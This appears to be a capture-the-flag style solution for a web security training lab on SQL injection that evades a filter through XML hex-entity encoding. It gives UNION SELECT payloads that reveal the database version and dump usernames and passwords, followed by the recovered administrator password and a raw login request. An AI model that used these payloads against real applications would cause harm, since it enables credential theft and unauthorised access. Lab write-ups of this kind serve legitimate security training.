Skip to content

SQL injection with filter bypass via XML encoding

SQL injection with filter bypass via XML encoding

Solution

Check database version

<@hex_entities>2 UNION SELECT version()<@/hex_entities>

Dump all username from DB

<@hex_entities>2 UNION SELECT username FROM users<@/hex_entities>

Dump all users and passwords from DB

<@hex_entities>2 UNION SELECT username||' - '||password FROM users<@/hex_entities>

Login as user: administrator

L: administrator
P: hfb604kqy7t1pq2n3d4s
---
POST /login HTTP/2
Host: 0a9400bd03d0a63381a243a200c500dc.web-security-academy.net
Cookie: session=yJW6ih0dfsW9pO5ZlH5qsayCbMxHCfdW
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
Origin: https://0a9400bd03d0a63381a243a200c500dc.web-security-academy.net
Referer: https://0a9400bd03d0a63381a243a200c500dc.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=bkrmZ3i3MBoKIqzPQEJItbBQdrIOqTYc&username=administrator&password=hfb604kqy7t1pq2n3d4s